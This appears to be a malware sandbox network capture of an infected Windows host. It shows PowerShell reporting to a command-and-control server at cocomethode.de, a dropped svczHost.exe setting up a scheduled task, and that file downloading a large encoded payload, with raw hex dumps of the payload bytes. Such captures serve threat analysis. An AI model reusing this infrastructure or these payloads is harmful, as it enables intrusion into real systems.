2024-12-11 11:14:54 UTC	1369	IN	Data Raw: 01 49 8a 01 49 8c 0c 64 db 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 87 c8 25 01 49 8c 04 ae 74 90 01 49 8a 01 49 8c 0c 4c db 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 67 c8 25 01 49 8c 04 96 74 90 01 49 8a 01 49 8c 0c 34 db 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 47 c8 25 01 49 8c 04 86 74 90 01 49 8a 01 49 8c 0c 24 db 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 27 c8 25 01 49 8c 04 76 74 90 01 49 8a 01 49 8c 0c 0c db 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 07 c8 25 01 49 8c 04 66 74 90 01 49 8a 01 49 8c 0c f4 d8 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 e7 c9 25 01 49 8c 04 4e 74 90 01 49 8a 01 49 8c 0c dc d8 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 c7 c9 25 01 49 8c 04 36 74 90 01 49 8a 01 49 8c 0c c4 d8 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 a7 c9 25 01 49 8c 04 26 74 Data Ascii: IIdOI8tI%ItIILOI8tIg%ItII4OI8tIG%ItII$OI8tI'%IvtIIOI8tI%IftIIOI8tI%INtIIOI8tI%I6tIIOI8tI%I&t
2024-12-11 11:14:54 UTC	1369	IN	Data Raw: 01 49 8c 04 ee 73 90 01 49 8a 01 49 8c 0c fc d7 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 27 c5 25 01 49 8c 04 d6 73 90 01 49 8a 01 49 8c 0c e4 d7 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 07 c5 25 01 49 8c 04 be 73 90 01 49 8a 01 49 8c 0c cc d7 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 e7 c2 25 01 49 8c 04 a6 73 90 01 49 8a 01 49 8c 0c b4 d7 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 c7 c2 25 01 49 8c 04 8e 73 90 01 49 8a 01 49 8c 0c 9c d7 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 a7 c2 25 01 49 8c 04 76 73 90 01 49 8a 01 49 8c 0c 84 d7 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 87 c2 25 01 49 8c 04 5e 73 90 01 49 8a 01 49 8c 0c 6c d7 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 67 c2 25 01 49 8c 04 46 73 90 01 49 8a 01 49 8c 0c 54 d7 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 47 c2 Data Ascii: IsIIOI8tI'%IsIIOI8tI%IsIIOI8tI%IsIIOI8tI%IsIIOI8tI%IvsIIOI8tI%I^sIIlOI8tIg%IFsIITOI8tIG
2024-12-11 11:14:54 UTC	1369	IN	Data Raw: 49 8a d1 e8 e7 bf 25 01 49 8c 04 fe 6e 90 01 49 8a 01 49 8c 0c 44 d7 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 c7 bf 25 01 49 8c 04 e6 6e 90 01 49 8a 01 49 8c 0c 3c d7 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 a7 bf 25 01 49 8c 04 ce 6e 90 01 49 8a 01 49 8c 0c 2c d7 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 87 bf 25 01 49 8c 04 c6 6e 90 01 49 8a 01 49 8c 0c 14 d7 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 67 bf 25 01 49 8c 04 b6 6e 90 01 49 8a 01 49 8c 0c 04 d7 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 47 bf 25 01 49 8c 04 ae 6e 90 01 49 8a 01 49 8c 0c ec d4 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 27 bf 25 01 49 8c 04 9e 6e 90 01 49 8a 01 49 8c 0c d4 d4 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 07 bf 25 01 49 8c 04 96 6e 90 01 49 8a 01 49 8c 0c bc d4 4f 01 49 82 38 01 74 00 Data Ascii: I%InIIDOI8tI%InII<OI8tI%InII,OI8tI%InIIOI8tIg%InIIOI8tIG%InIIOI8tI'%InIIOI8tI%InIIOI8t
2024-12-11 11:14:54 UTC	1369	IN	Data Raw: 49 82 38 01 74 00 c2 49 8a d1 e8 87 b8 25 01 49 8c 04 86 6f 90 01 49 8a 01 49 8c 0c 0c d2 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 67 b8 25 01 49 8c 04 a6 6f 90 01 49 8a 01 49 8c 0c f4 d3 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 47 b8 25 01 49 8c 04 a6 6f 90 01 49 8a 01 49 8c 0c e4 d3 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 27 b8 25 01 49 8c 04 8e 6f 90 01 49 8a 01 49 8c 0c d4 d3 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 07 b8 25 01 49 8c 04 7e 6f 90 01 49 8a 01 49 8c 0c bc d3 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 e7 b9 25 01 49 8c 04 76 6f 90 01 49 8a 01 49 8c 0c a4 d3 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 c7 b9 25 01 49 8c 04 6e 6f 90 01 49 8a 01 49 8c 0c 8c d3 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 a7 b9 25 01 49 8c 04 56 6f 90 01 49 8a 01 49 8c 0c 74 d3 4f Data Ascii: I8tI%IoIIOI8tIg%IoIIOI8tIG%IoIIOI8tI'%IoIIOI8tI%I~oIIOI8tI%IvoIIOI8tI%InoIIOI8tI%IVoIItO
2024-12-11 11:14:54 UTC	1369	IN	Data Raw: 49 8c 0c 8c ce 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 27 b5 25 01 49 8c 04 8e 6a 90 01 49 8a 01 49 8c 0c 74 ce 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 07 b5 25 01 49 8c 04 76 6a 90 01 49 8a 01 49 8c 0c 6c ce 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 e7 b2 25 01 49 8c 04 5e 6a 90 01 49 8a 01 49 8c 0c 54 ce 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 c7 b2 25 01 49 8c 04 46 6a 90 01 49 8a 01 49 8c 0c 3c ce 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 a7 b2 25 01 49 8c 04 2e 6a 90 01 49 8a 01 49 8c 0c 24 ce 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 87 b2 25 01 49 8c 04 1e 6a 90 01 49 8a 01 49 8c 0c 0c ce 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 67 b2 25 01 49 8c 04 06 6a 90 01 49 8a 01 49 8c 0c 1c ce 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 47 b2 25 01 49 8c 04 ee 6b 90 01 49 8a Data Ascii: IOI8tI'%IjIItOI8tI%IvjIIlOI8tI%I^jIITOI8tI%IFjII<OI8tI%I.jII$OI8tI%IjIIOI8tIg%IjIIOI8tIG%IkI

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.11.30	49834	172.67.128.139	443	6008	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 11:15:05 UTC	285	OUT	POST /609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596ba5f06aeb1124113c3b608f92dddb20455 HTTP/1.1 Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151 Host: cocomethode.de Content-Length: 200
2024-12-11 11:15:05 UTC	200	OUT	Data Raw: 5b 0d 0a 20 20 20 20 22 5c 22 44 6f 77 6e 6c 6f 61 64 20 63 6f 6d 70 6c 65 74 65 64 3a 20 43 3a 5c 5c 5c 5c 57 69 6e 64 6f 77 73 5c 5c 5c 5c 54 65 6d 70 5c 5c 5c 5c 66 69 6c 65 5c 22 22 2c 0d 0a 20 20 20 20 22 5c 22 54 68 65 20 66 69 6c 65 20 43 3a 5c 5c 5c 5c 57 69 6e 64 6f 77 73 5c 5c 5c 5c 54 65 6d 70 5c 5c 5c 5c 66 69 6c 65 20 77 61 73 20 70 72 6f 63 65 73 73 65 64 20 61 6e 64 20 73 61 76 65 64 20 61 73 20 43 3a 5c 5c 5c 5c 57 69 6e 64 6f 77 73 5c 5c 5c 5c 54 65 6d 70 5c 5c 5c 5c 73 76 63 7a 48 6f 73 74 2e 65 78 65 5c 22 22 2c 0d 0a 20 20 20 20 22 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 22 0d 0a 5d Data Ascii: [ "\"Download completed: C:\\\\Windows\\\\Temp\\\\file\"", "\"The file C:\\\\Windows\\\\Temp\\\\file was processed and saved as C:\\\\Windows\\\\Temp\\\\svczHost.exe\"", "----------"]
2024-12-11 11:15:06 UTC	1204	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 11:15:06 GMT Content-Length: 0 Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=YghDOK%2BOPPwGLCylsWONmoK%2BxBWrVwliLjWorJvLfIWPuW2lG%2BlAnwZ2Uns7UmMnaqnVkL68MKMARE%2BmoUk30UoDHwraXTnAxfkXTr5nxONTxAwwvBAbwoD%2FX%2BmveoWCxEYK%2BHSWWxUJ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=46170&min_rtt=1355&rtt_var=6207&sent=5835&recv=3534&lost=0&retrans=0&sent_bytes=7584753&recv_bytes=1193568&delivery_rate=22783635&cwnd=248&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 Server: cloudflare CF-RAY: 8f050e0b5cb67b95-ATL server-timing: cfL4;desc="?proto=TCP&rtt=57&min_rtt=57&rtt_var=28&sent=2&recv=4&lost=0&retrans=0&sent_bytes=0&recv_bytes=740&delivery_rate=0&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" server-timing: cfL4;desc="?proto=TCP&rtt=113859&min_rtt=113780&rtt_var=24120&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2835&recv_bytes=1145&delivery_rate=33597&cwnd=252&unsent_bytes=0&cid=d110e2c20ed4a937&ts=823&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.11.30	49835	172.67.128.139	443	6008	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 11:15:07 UTC	284	OUT	POST /609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596ba5f06aeb1124113c3b608f92dddb20455 HTTP/1.1 Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151 Host: cocomethode.de Content-Length: 97
2024-12-11 11:15:07 UTC	97	OUT	Data Raw: 5b 0d 0a 20 20 20 20 22 5c 22 44 65 74 65 6c 65 20 46 69 6c 65 20 43 3a 5c 5c 5c 5c 57 69 6e 64 6f 77 73 5c 5c 5c 5c 54 65 6d 70 5c 5c 5c 5c 66 69 6c 65 5c 22 22 2c 0d 0a 20 20 20 20 22 5c 22 61 64 64 20 74 61 73 6b 5c 22 22 2c 0d 0a 20 20 20 20 22 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 22 0d 0a 5d Data Ascii: [ "\"Detele File C:\\\\Windows\\\\Temp\\\\file\"", "\"add task\"", "----------"]
2024-12-11 11:15:07 UTC	1227	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 11:15:07 GMT Content-Length: 0 Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=LUdCk%2B29h39cPe6KjyoZWRmXCdZgGAnedG8OTM9DiYVVjC3EJitwG0u9rJzRn%2Fj6XSYe1fHeRFaA8l1DG%2Fmj7DC%2BKSGycMXm5rrhpi4%2FD0Jzg51k0qUhd9gq1Lfw%2BzXzwgSaE%2F0F2xbt"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=40004&min_rtt=1291&rtt_var=20846&sent=24903&recv=11352&lost=0&retrans=3&sent_bytes=35405018&recv_bytes=535387&delivery_rate=46025538&cwnd=248&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 Server: cloudflare CF-RAY: 8f050e121d4cb0ed-ATL server-timing: cfL4;desc="?proto=TCP&rtt=99&min_rtt=20&rtt_var=65&sent=329&recv=316&lost=0&retrans=0&sent_bytes=8373700&recv_bytes=3417&delivery_rate=3274150000&cwnd=182&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" server-timing: cfL4;desc="?proto=TCP&rtt=113753&min_rtt=113736&rtt_var=24021&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2835&recv_bytes=1041&delivery_rate=33659&cwnd=252&unsent_bytes=0&cid=45fe01cfb28fd515&ts=591&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.11.30	49836	172.67.128.139	443	6008	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 11:15:09 UTC	284	OUT	POST /609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596ba5f06aeb1124113c3b608f92dddb20455 HTTP/1.1 Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151 Host: cocomethode.de Content-Length: 64
2024-12-11 11:15:09 UTC	64	OUT	Data Raw: 5b 0d 0a 20 20 20 20 22 5c 22 72 75 6e 20 74 61 73 6b 5c 22 22 2c 0d 0a 20 20 20 20 22 5c 22 6b 65 74 20 74 68 75 63 5c 22 22 2c 0d 0a 20 20 20 20 22 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 22 0d 0a 5d Data Ascii: [ "\"run task\"", "\"ket thuc\"", "----------"]
2024-12-11 11:15:10 UTC	1214	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 11:15:10 GMT Content-Length: 0 Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=LT%2BChpKfPvEm%2FhC04hdLS34pcqEtdbg1kXXredlb7MNvzUcIids5%2FyNrSzwLyp%2BXZIjJz4j3xSZiGMUpIchij%2FBtMKQqu0Yl1BnJ7UuUSzPb3W9ytrTOoBJlW7toQMitC2KSTo6do0s4"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=45130&min_rtt=1511&rtt_var=12274&sent=892&recv=1335&lost=0&retrans=0&sent_bytes=130994&recv_bytes=1163904&delivery_rate=7411167&cwnd=253&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 Server: cloudflare CF-RAY: 8f050e23bb03bf69-ATL server-timing: cfL4;desc="?proto=TCP&rtt=47&min_rtt=26&rtt_var=11&sent=20&recv=22&lost=0&retrans=0&sent_bytes=21620&recv_bytes=4588&delivery_rate=2518576923&cwnd=213&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" server-timing: cfL4;desc="?proto=TCP&rtt=113754&min_rtt=113708&rtt_var=24056&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2835&recv_bytes=1008&delivery_rate=33645&cwnd=252&unsent_bytes=0&cid=e5b5c364461c94c1&ts=573&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.11.30	49840	172.67.128.139	443	9472	C:\Windows\Temp\svczHost.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 11:16:06 UTC	64	OUT	GET /StaticFile/RdpService/17 HTTP/1.1 Host: cocomethode.de
2024-12-11 11:16:07 UTC	1159	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 11:16:07 GMT Content-Type: application/octet-stream Content-Length: 9429504 Connection: close content-disposition: attachment; filename=image; filename*=UTF-8''image hash: 5641F3A5B9787F23D3D34F0D9F791B7A CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ohe5es8GzBPXx4BvUu4%2FGrsFAFrCGfehnVTI8DFyppUzJrjcspYWhkdZDFo9xvvN3HaY9l9k7ZvuN%2BPZRw22eQ1H7XJJ3k38Mjqzsn3icR3mzBe7Lj%2BCWmh2cyE5H0Ykomuecz%2BURq5m"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=13112&min_rtt=911&rtt_var=20159&sent=47707&recv=21817&lost=0&retrans=0&sent_bytes=67982881&recv_bytes=606834&delivery_rate=53827947&cwnd=220&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 Server: cloudflare CF-RAY: 8f050f877b26b037-ATL server-timing: cfL4;desc="?proto=TCP&rtt=95&min_rtt=20&rtt_var=58&sent=332&recv=319&lost=0&retrans=0&sent_bytes=8374714&recv_bytes=3739&delivery_rate=3274150000&cwnd=182&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
2024-12-11 11:16:07 UTC	436	IN	Data Raw: 73 65 72 76 65 72 2d 74 69 6d 69 6e 67 3a 20 63 66 4c 34 3b 64 65 73 63 3d 22 3f 70 72 6f 74 6f 3d 54 43 50 26 72 74 74 3d 37 34 26 6d 69 6e 5f 72 74 74 3d 32 31 26 72 74 74 5f 76 61 72 3d 33 30 26 73 65 6e 74 3d 33 32 31 26 72 65 63 76 3d 33 30 37 26 6c 6f 73 74 3d 30 26 72 65 74 72 61 6e 73 3d 30 26 73 65 6e 74 5f 62 79 74 65 73 3d 38 33 37 33 33 32 31 26 72 65 63 76 5f 62 79 74 65 73 3d 32 33 38 39 26 64 65 6c 69 76 65 72 79 5f 72 61 74 65 3d 33 31 31 38 32 33 38 30 39 35 26 63 77 6e 64 3d 31 33 31 26 75 6e 73 65 6e 74 5f 62 79 74 65 73 3d 30 26 63 69 64 3d 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 26 74 73 3d 30 26 78 3d 30 22 0d 0a 73 65 72 76 65 72 2d 74 69 6d 69 6e 67 3a 20 63 66 4c 34 3b 64 65 73 63 3d 22 3f 70 72 6f 74 6f 3d 54 43 50 26 72 Data Ascii: server-timing: cfL4;desc="?proto=TCP&rtt=74&min_rtt=21&rtt_var=30&sent=321&recv=307&lost=0&retrans=0&sent_bytes=8373321&recv_bytes=2389&delivery_rate=3118238095&cwnd=131&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"server-timing: cfL4;desc="?proto=TCP&r
2024-12-11 11:16:07 UTC	1369	IN	Data Raw: 5c 4b 81 11 12 11 11 11 15 11 11 11 ee ee 11 11 a9 11 11 11 11 11 11 11 51 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 10 11 11 1f 0e ab 1f 11 a5 18 dc 30 a9 10 5d dc 30 45 79 78 62 31 61 63 7e 76 63 70 7c 31 72 70 7f 7f 7e 65 31 73 74 31 63 64 7f 31 78 7f 31 55 5e 42 31 7c 7e 75 74 3f 1c 1c 1b 35 11 11 11 11 11 11 11 ff fc 27 31 bb 9d 49 62 bb 9d 49 62 bb 9d 49 62 b2 e5 da 62 b5 9d 49 62 cb 1c 48 63 ac 9d 49 62 bb 9d 48 62 3d 9c 49 62 ab 19 4a 63 a8 9d 49 62 ab 19 4d 63 82 9d 49 62 f3 18 4c 63 b8 9d 49 62 cb 1c 4d 63 b9 9d 49 62 bb 9d 49 62 ba 9d 49 62 ab 19 4c 63 cd 9d 49 62 f3 18 49 63 ba 9d 49 62 f3 18 4b 63 ba 9d 49 62 43 78 72 79 bb 9d 49 62 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 Data Ascii: \KQ0]0Eyxb1ac~vcp\|1rp~e1st1cd1x1U^B1\|~ut?5'1IbIbIbbIbHcIbHb=IbJcIbMcIbLcIbMcIbIbIbLcIbIcIbKcIbCxryIb
2024-12-11 11:16:07 UTC	1369	IN	Data Raw: c8 39 11 59 9c 14 d4 9e 49 11 59 9c 1c a7 9e 49 11 59 92 28 11 64 10 d2 59 9a c1 f8 36 c8 39 11 59 9c 14 a9 9e 49 11 59 9c 1c b8 9e 49 11 59 92 28 11 64 10 d2 59 9a c1 f8 1b c8 39 11 59 9c 14 ba 9e 49 11 59 9c 1c 8d 9e 49 11 59 92 28 11 64 10 d2 59 9a c1 f8 fc c9 39 11 59 9c 14 8f 9e 49 11 59 9c 1c 9e 9e 49 11 59 92 28 11 64 10 d2 59 9a c1 f8 c1 c9 39 11 59 9c 14 a8 9e 49 11 59 9c 1c bb 9e 49 11 59 92 28 11 64 10 d2 59 9a c1 f8 a2 c9 39 11 59 9c 14 ad 9e 49 11 59 9c 1c bc 9e 49 11 59 92 28 11 64 10 d2 59 9a c1 f8 87 c9 39 11 59 9c 14 a6 9e 49 11 59 9c 1c b9 9e 49 11 59 92 28 11 64 10 d2 59 9a c1 f8 68 c9 39 11 59 9c 14 bb 9e 49 11 59 9c 1c 8a 9e 49 11 59 92 28 11 64 10 d2 59 9a c1 f8 4d c9 39 11 59 9c 14 bc 9e 49 11 59 9c 1c 8f 9e 49 11 59 92 28 11 64 10 Data Ascii: 9YIYIY(dY69YIYIY(dY9YIYIY(dY9YIYIY(dY9YIYIY(dY9YIYIY(dY9YIYIY(dYh9YIYIY(dYM9YIYIY(d
2024-12-11 11:16:07 UTC	1369	IN	Data Raw: db 80 49 11 59 9c 1c aa 80 49 11 59 92 28 11 64 10 d2 59 9a c1 f8 c5 c2 39 11 59 9c 14 d4 80 49 11 59 9c 1c a7 80 49 11 59 92 28 11 64 10 d2 59 9a c1 f8 a6 c2 39 11 59 9c 14 c1 80 49 11 59 9c 1c d0 80 49 11 59 92 28 11 64 10 d2 59 9a c1 f8 8b c2 39 11 59 9c 14 ca 80 49 11 59 9c 1c dd 80 49 11 59 92 28 11 64 10 d2 59 9a c1 f8 6c c2 39 11 59 9c 14 cf 80 49 11 59 9c 1c de 80 49 11 59 92 28 11 64 10 d2 59 9a c1 f8 71 c2 39 11 59 9c 14 f8 80 49 11 59 9c 1c cb 80 49 11 59 92 28 11 64 10 d2 59 9a c1 f8 52 c2 39 11 59 9c 14 1d 83 49 11 59 9c 1c ec 80 49 11 59 92 28 11 64 10 d2 59 9a c1 f8 37 c2 39 11 59 9c 14 26 83 49 11 59 9c 1c 39 83 49 11 59 92 28 11 64 10 d2 59 9a c1 f8 18 c2 39 11 59 9c 14 43 83 49 11 59 9c 1c 52 83 49 11 59 92 28 11 64 10 d2 59 9a c1 f8 fd Data Ascii: IYIY(dY9YIYIY(dY9YIYIY(dY9YIYIY(dYl9YIYIY(dYq9YIYIY(dYR9YIYIY(dY79Y&IY9IY(dY9YCIYRIY(dY
2024-12-11 11:16:07 UTC	1369	IN	Data Raw: 1c 29 85 49 11 59 92 28 11 64 10 d2 59 9a c1 f8 90 df 39 11 59 9c 14 93 84 49 11 59 9c 1c 62 84 49 11 59 92 28 11 64 10 d2 59 9a c1 f8 75 df 39 11 59 9c 14 ac b0 49 11 59 9c 1c bf b0 49 11 59 92 28 11 64 10 d2 59 9a c1 f8 56 df 39 11 59 9c 14 99 b3 49 11 59 9c 1c 68 b3 49 11 59 92 28 11 64 10 d2 59 9a c1 f8 3b df 39 11 59 9c 14 6a 1e b7 11 59 9a 11 59 9c 1c 40 92 49 11 59 92 28 11 64 10 d2 59 9a c1 f8 fb dc 39 11 59 9c 14 7a 1e b7 11 59 9a 11 59 9c 1c 28 92 49 11 59 92 28 11 64 10 d2 59 9a c1 f8 db dc 39 11 59 9c 14 42 1e b7 11 59 9a 11 59 9c 1c 30 92 49 11 59 92 28 11 64 10 d2 59 9a c1 f8 bb dc 39 11 59 9c 14 52 1e b7 11 59 9a 11 59 9c 1c 18 92 49 11 59 92 28 11 64 10 d2 59 9a c1 f8 9b dc 39 11 59 9c 14 42 1e b7 11 59 9a 11 59 9c 1c 18 92 49 11 59 92 28 Data Ascii: )IY(dY9YIYbIY(dYu9YIYIY(dYV9YIYhIY(dY;9YjYY@IY(dY9YzYY(IY(dY9YBYY0IY(dY9YRYYIY(dY9YBYYIY(
2024-12-11 11:16:07 UTC	1369	IN	Data Raw: 93 49 11 59 92 28 11 64 10 d2 59 9a c1 f8 1b d8 39 11 59 9c 14 8a 1c b7 11 59 9a 11 59 9c 1c b8 93 49 11 59 92 28 11 64 10 d2 59 9a c1 f8 fb d9 39 11 59 9c 14 92 1c b7 11 59 9a 11 59 9c 1c 80 93 49 11 59 92 28 11 64 10 d2 59 9a c1 f8 db d9 39 11 59 9c 14 7a 1c b7 11 59 9a 11 59 9c 1c 68 93 49 11 59 92 28 11 64 10 d2 59 9a c1 f8 bb d9 39 11 59 9c 14 4a 1c b7 11 59 9a 11 59 9c 1c 78 93 49 11 59 92 28 11 64 10 d2 59 9a c1 f8 9b d9 39 11 59 9c 14 5a 1c b7 11 59 9a 11 59 9c 1c 40 93 49 11 59 92 28 11 64 10 d2 59 9a c1 f8 7b d9 39 11 59 9c 14 2a 1c b7 11 59 9a 11 59 9c 1c 28 93 49 11 59 92 28 11 64 10 d2 59 9a c1 f8 5b d9 39 11 59 9c 14 32 1c b7 11 59 9a 11 59 9c 1c 30 93 49 11 59 92 28 11 64 10 d2 59 9a c1 f8 3b d9 39 11 59 9c 14 1a 1c b7 11 59 9a 11 59 9c 1c Data Ascii: IY(dY9YYYIY(dY9YYYIY(dY9YzYYhIY(dY9YJYYxIY(dY9YZYY@IY(dY{9Y*YY(IY(dY[9Y2YY0IY(dY;9YYY
2024-12-11 11:16:07 UTC	1369	IN	Data Raw: 59 9a 11 59 9c 1c 48 6e 49 11 59 92 28 11 64 10 d2 59 9a c1 f8 bb d2 39 11 59 9c 14 d2 1b b7 11 59 9a 11 59 9c 1c 50 6e 49 11 59 92 28 11 64 10 d2 59 9a c1 f8 9b d2 39 11 59 9c 14 ba 1b b7 11 59 9a 11 59 9c 1c 38 6e 49 11 59 92 28 11 64 10 d2 59 9a c1 f8 7b d2 39 11 59 9c 14 82 1b b7 11 59 9a 11 59 9c 1c 00 6e 49 11 59 92 28 11 64 10 d2 59 9a c1 f8 5b d2 39 11 59 9c 14 6a 1b b7 11 59 9a 11 59 9c 1c e8 6f 49 11 59 92 28 11 64 10 d2 59 9a c1 f8 3b d2 39 11 59 9c 14 72 1b b7 11 59 9a 11 59 9c 1c f0 6f 49 11 59 92 28 11 64 10 d2 59 9a c1 f8 1b d2 39 11 59 9c 14 5a 1b b7 11 59 9a 11 59 9c 1c d8 6f 49 11 59 92 28 11 64 10 d2 59 9a c1 f8 fb d3 39 11 59 9c 14 22 1b b7 11 59 9a 11 59 9c 1c a0 6f 49 11 59 92 28 11 64 10 d2 59 9a c1 f8 db d3 39 11 59 9c 14 0a 1b b7 Data Ascii: YYHnIY(dY9YYYPnIY(dY9YYY8nIY(dY{9YYYnIY(dY[9YjYYoIY(dY;9YrYYoIY(dY9YZYYoIY(dY9Y"YYoIY(dY9Y
2024-12-11 11:16:07 UTC	1369	IN	Data Raw: 59 9c 14 ea 16 b7 11 59 9a 11 59 9c 1c 00 6f 49 11 59 92 28 11 64 10 d2 59 9a c1 f8 5b af 39 11 59 9c 14 f2 16 b7 11 59 9a 11 59 9c 1c 18 6f 49 11 59 92 28 11 64 10 d2 59 9a c1 f8 3b af 39 11 59 9c 14 ca 16 b7 11 59 9a 11 59 9c 1c 10 6f 49 11 59 92 28 11 64 10 d2 59 9a c1 f8 1b af 39 11 59 9c 14 d2 16 b7 11 59 9a 11 59 9c 1c 68 6f 49 11 59 92 28 11 64 10 d2 59 9a c1 f8 fb ac 39 11 59 9c 14 ba 16 b7 11 59 9a 11 59 9c 1c 60 6f 49 11 59 92 28 11 64 10 d2 59 9a c1 f8 db ac 39 11 59 9c 14 82 16 b7 11 59 9a 11 59 9c 1c 70 6f 49 11 59 92 28 11 64 10 d2 59 9a c1 f8 bb ac 39 11 59 9c 14 9a 16 b7 11 59 9a 11 59 9c 1c 58 6f 49 11 59 92 28 11 64 10 d2 59 9a c1 f8 9b ac 39 11 59 9c 14 6a 16 b7 11 59 9a 11 59 9c 1c 28 6f 49 11 59 92 28 11 64 10 d2 59 9a c1 f8 7b ac 39 Data Ascii: YYYoIY(dY[9YYYoIY(dY;9YYYoIY(dY9YYYhoIY(dY9YYY`oIY(dY9YYYpoIY(dY9YYYXoIY(dY9YjYY(oIY(dY{9
